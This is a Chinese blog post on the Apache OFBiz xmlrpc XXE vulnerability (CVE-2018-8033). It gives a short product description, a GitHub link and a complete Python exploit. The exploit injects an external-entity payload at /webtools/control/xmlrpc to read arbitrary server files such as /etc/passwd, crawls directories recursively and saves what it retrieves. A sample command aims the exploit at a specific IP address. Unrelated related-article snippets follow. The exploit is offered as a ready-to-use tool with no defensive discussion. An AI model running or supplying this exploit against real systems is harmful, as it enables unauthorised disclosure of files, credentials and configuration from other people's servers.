Apache OFBiz xmlrpc XXE漏洞(CVE-2018-8033)

news/2024/11/27 5:34:41/

目录

1、漏洞描述

2、EXP下载地址

3、EXP利用


1、漏洞描述

        Apache OFBiz是一套企业资源计划(ERP)系统。它提供了广泛的功能,包括销售、采购、库存、财务、CRM等。 Apache OFBiz还具有灵活的架构和可扩展性,允许用户根据业务需求进行定制和拓展。 Apache OFBiz 是一个用 Java 编写的企业资源规划 (ERP) 系统,它是一个开放源代码、可扩展的企业级应用程序。 OFBiz 旨在为各种规模的企业提供全面的业务管理解决方案。 它包含大量的库、实体、服务和功能,覆盖了企业运营的各个方面,如销售、采购、库存、财务、人力资源等。

2、EXP下载地址

https://github.com/jamieparfet/Apache-OFBiz-XXE/

#!/usr/bin/env python3
# *****************************************************
# Type: XML External Entity Injection (File disclosure)
# Target: Apache OFBiz < 16.11.04
# Author: Jamie Parfet
# *****************************************************
import sys
import os
import requests
import urllib3
import re
import argparseurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)simple_payload = """<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://{}">]>
<methodCall><methodName>xXx
&disclose;xXx</methodName></methodCall>
"""if len(sys.argv) <= 1:print('[*] Apache OFBiz < 16.11.04 XXE')print('[*] Use "%s -h" to display help.' % (sys.argv[0]))exit(0)parser = argparse.ArgumentParser()
parser.add_argument("-u",metavar="https://localhost:8443",dest="url",required=True,help="Target URL (required)",action='store')
parser.add_argument("-f",metavar="/etc/passwd",dest="file",help="Target file",action='store')
parser.add_argument("-c",metavar="/home/",dest="crawl",help="Target directory to start crawling from",action='store')
parser.add_argument("-o",metavar="~/local/output/directory/",dest="output_dir",help="Local directory that remote file will be saved to",action='store')
args = parser.parse_args()
url = args.url if args.url else None
target_file = args.file if args.file else None
crawl_dir = args.crawl if args.crawl else None
output_dir = args.output_dir if args.output_dir else Nonedef check_url(url):if '://' not in url:print('[-] ERROR: Please include protocol in URL, such as https://{}'.format(url))exit(0)else:return urldef request(url, payload):response = requests.post(url + '/webtools/control/xmlrpc', data=payload, verify=False).textparsed_response = re.sub(r'(.*xXx\n|xXx.*)', '', response)return parsed_responsedef crawl(crawl_dir):payload = simple_payload.format(crawl_dir)response = request(url, payload)payload_404 = simple_payload.format(crawl_dir + "/xX404Xx")response_404 = request(url, payload_404)if 'No such file or directory' in response:print("[-] ERROR - 404: {}".format(crawl_dir))elif 'Permission denied' in response or 'but is not accessible' in response:print("[-] ERROR - Permission: {}".format(crawl_dir))elif 'Not a directory' in response_404:print("[*] FILE: {}".format(crawl_dir))else:print("[*] DIR: {}".format(crawl_dir))for f in response.splitlines():full_path = (crawl_dir + '/' + f)crawl(full_path)def main(url=url, target_file=target_file, crawl_dir=crawl_dir, output_dir=output_dir):if url:check_url(url)if crawl_dir:crawl(crawl_dir)else:payload = simple_payload.format(target_file)if output_dir:if os.path.isdir(output_dir):result = request(url, payload)remote_file_name = re.sub('/', '--', target_file)output_file = (output_dir + '/' + remote_file_name[2:])file = open(output_file, 'w')file.write(result)file.close()else:print("[-] ERROR: {} is not a writeable directory".format(output_dir))else:result = request(url, payload)print(result)if __name__ == '__main__':try:main()except KeyboardInterrupt:print('\nKeyboard interrupt detected.')print('Exiting...')exit(0)

3、EXP利用

F:\>python cve_2018_8033.py -u http://193.168.0.45:28703/ -f /tmp

http://www.ppmy.cn/news/1550257.html

相关文章

Postman设置接口关联,实现参数化

&#x1f345; 点击文末小卡片 &#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 postman设置接口关联 在实际的接口测试中&#xff0c;后一个接口经常需要用到前一个接口返回的结果&#xff0c; 从而让后一个接口能正常执行&#xff0c;这…

ubity3D基础

Unity是一个流行的游戏开发引擎&#xff0c;它使用C#作为其主要的编程语言。以下是一些Unity中C#编程的基础概念&#xff1a; • Unity编辑器&#xff1a; • Unity编辑器是Unity游戏引擎的核心&#xff0c;提供了一个可视化界面&#xff0c;用于创建和管理游戏项目。 • C#脚本…

【算法】连通块问题(C/C++)

目录 连通块问题 解决思路 步骤&#xff1a; 初始化&#xff1a; DFS函数&#xff1a; 复杂度分析 代码实现&#xff08;C&#xff09; 题目链接&#xff1a;2060. 奶牛选美 - AcWing题库 解题思路&#xff1a; AC代码&#xff1a; 题目链接&#xff1a;687. 扫雷 -…

猫用空气净化器哪款牌子除毛好?除毛好用宠物空气净化器牌子推荐

我养了这么多年的猫狗&#xff0c;漫天横飞的猫狗毛和家里的味道&#xff0c;很多年前是无法和解的&#xff01;就是沙发上、床上、被子上、枕头上、衣服上、一切一切地方的猫毛&#xff0c;你可以在家里任何一个角落都可以见到猫毛。更不用说家里猫咪不过自从有了宠物空气净化…

python学习笔记(12)算法(5)迭代与递归

一、迭代 迭代&#xff08;iteration&#xff09;是一种重复执行某个任务的控制结构。在迭代中&#xff0c;程序会在满足一定的条件下重复执行某段代码&#xff0c;直到这个条件不再满足。 迭代通常用于解决需要逐步推进的计算问题&#xff0c;例如遍历数组、计算阶乘等。迭代…

相亲交友小程序项目介绍

一、项目背景 在当今快节奏的社会生活中&#xff0c;人们忙于工作和事业&#xff0c;社交圈子相对狭窄&#xff0c;寻找合适的恋爱对象变得愈发困难。相亲交友作为一种传统而有效的社交方式&#xff0c;在现代社会依然有着巨大的需求。我们的相亲交友项目旨在为广大单身人士提…

【Redis篇】String类型命令详讲以及它的使用场景

目录 前言&#xff1a; 基本命令&#xff1a; setnx/setxx FLUSHALL mest mget 计数命令 INCR / INCRBY DECR/DECYBY INCRBYFLOAT 其他命令 APPEND GETRANGE SETRANGE STRLEN String的典型使用场景 缓存&#xff08;Cache&#xff09;功能 计数&#xff08;…

【贪心算法第五弹——300.最长递增子序列】

目录 1.题目解析 题目来源 测试用例 2.算法原理 3.实战代码 代码解析 注意本题还有一种动态规划的解决方法&#xff0c;贪心的方法就是从动态规划的方法总结而来&#xff0c;各位可以移步博主的另一篇博客先了解一下&#xff1a;动态规划-子序列问题——300.长递增子序列…